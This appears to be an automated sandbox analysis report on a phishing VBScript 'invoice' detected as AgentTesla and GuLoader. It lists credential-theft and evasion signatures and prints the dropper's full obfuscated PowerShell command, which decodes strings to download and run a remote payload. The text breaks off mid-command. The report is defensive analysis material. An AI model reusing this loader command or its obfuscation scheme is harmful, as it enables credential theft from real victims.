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Windows
Analysis Report
Outstanding Payment Invoice PO 3400375980.vbs
Overview
General Information
Detection
AgentTesla, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Potential malicious VBS script found (suspicious strings)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Writes or reads registry keys via WMI
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7304 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Outst anding Pay ment Invoi ce PO 3400 375980.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) - WmiPrvSE.exe (PID: 7412 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - powershell.exe (PID: 7868 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Oildom = 1;$boatin gs='Substr in';$boati ngs+='g';F unction Cr ystallize( $Hjlpetrop per){$Over loading=$H jlpetroppe r.Length-$ Oildom;For ($Devastat ed=5; $Dev astated -l t $Overloa ding; $Dev astated+=( 6)){$Buggi ng+=$Hjlpe tropper.$b oatings.In voke($Deva stated, $O ildom);}$B ugging;}fu nction Cro oisite($Ss terligt){. ($Rolfs) ($Ssterli gt);}$Lige til=Crysta llize 'Qua drMNinevoP eberzBrand iGullilull maldestiaC .res/Spere 5Sesam.Gam ma0dagsa E ekt(Unmet WOphngi Kn obn Nonrd Synto evil wManersWho op AspaN,n eseTNgne. wakef1Hagl s0Affyr.A, hol0Tran ; Storm .maa sWSkippiSp isenth,rm6 South4Skog g;Progr Br yllxvade,6 Fiori4Goat s;Dk,in Pr earDaffsvD ksbl:Maske 1Balan2Rit ,a1 Mort. Hand0 Lysb )Beglo Gen reGNdrineS tatucFdeka kTo,nsoChe rc/Klaus2 Lmwh0Prote 1tofam0Sek ti0 Fysi1P hot.0Co.pr 1Behol Kkk enFNemopiF oraarUbere eudstefove rmoAlderxL enca/Snebr 1Au er2Do, rh1Verte. erma0 Scal ';$Counte rearth=Cry stallize ' DanisUDeho rsmurd.eTe aserunexc- .ornlASkew lgMiiliese esanSprint Tropa ';$I ntermewed= Crystalliz e ' FlaghT vangtContr tT enepErh v,sSwitc:A ,mbe/ Gala /BestydSke err Tandi unlivNatur epl,nt.Hjf regRandsoI nd so Hnge g WarblRev eseUt.os.U nvehc inco oUnfrum S, ns/tiltru TitacJeedh ? Sk heFid usxWatchpk i smoJagtb rA.ilat Je tw=,piredR eereoVin a wSekunnBro rdlCircuo Ha aaFe tc dUdbed&Ker ati ShandS naph=Immor 1 BilliL,g ia- LillmF ljteeSupra 5C,mpusS,l deG,ovemoA pproPPrimu _ Ud.iYN m erO,utvivE ne.eASkala Y ch l3 In teoJewyrQP aronNAutom 7Soldican ib9Rekr.mH end,1A fyr 9F,fth3Plu .k0,ille3G amblj lagu YS,adrsU.r esTLeve. ' ;$Differen tiators126 =Crystalli ze 'Forsk> Anh. ';$R olfs=Cryst allize 'St diiTurble Dyb,exRums k ';$Monis men = Crys tallize ' Beliera ag cAsfa hMar inot ito g ttak% .rmm a ForhpCar ibpParapdZ adrua,orin tTransaKam ik% hyli\E thi.SUnrev aMa sel,pa akvVejrpuD uckeyMelan rAcili.Mod arQ Asteu fblei.uver Kon.&Alie n&Ewaty ,l tereCarbrc Th,meh Ra do Catt bo res$Su.me ';Crooisit e (Crystal lize 'For a$ skurgFu gl,lFa,tgo Mysidb Fag taV mellSt vle:BesigO .proglD fo gyBrawlmCa .orpWhysti pl nesMusi kkSu eneWi nds= Beta( K,skbcLixi nmNazibdKo mme Over/B rolgc Nons Qu.n$Tjet sMSkarroTi lrenBelchi Grunds Fri tmfrembeGr ften.ophe) Kredi ');C rooisite ( Crystalliz e 'Sarac$P ractgSnk,l lPro noQua libP,ebeaO pfrilRadi :Tara POpe rerAnglimS co riPestr eMonoclKen nlaTjrslau nscinAcqui e StornDe aseOzonlsi llus1 B be 9Subin8Han hu= Tien$A tom.Ilogge nGa.gat ve re,rougrSe ptemKun te natuw nti me,iskedSp are.kogles H.espp Kis slS,ftii r bejt tuea( Trafi$Dyv lDPondfiUn inffPuppef Bunkre Ing .rSottaeSt alknKoor t Compai che fapterotE, genoPresur DeclsOver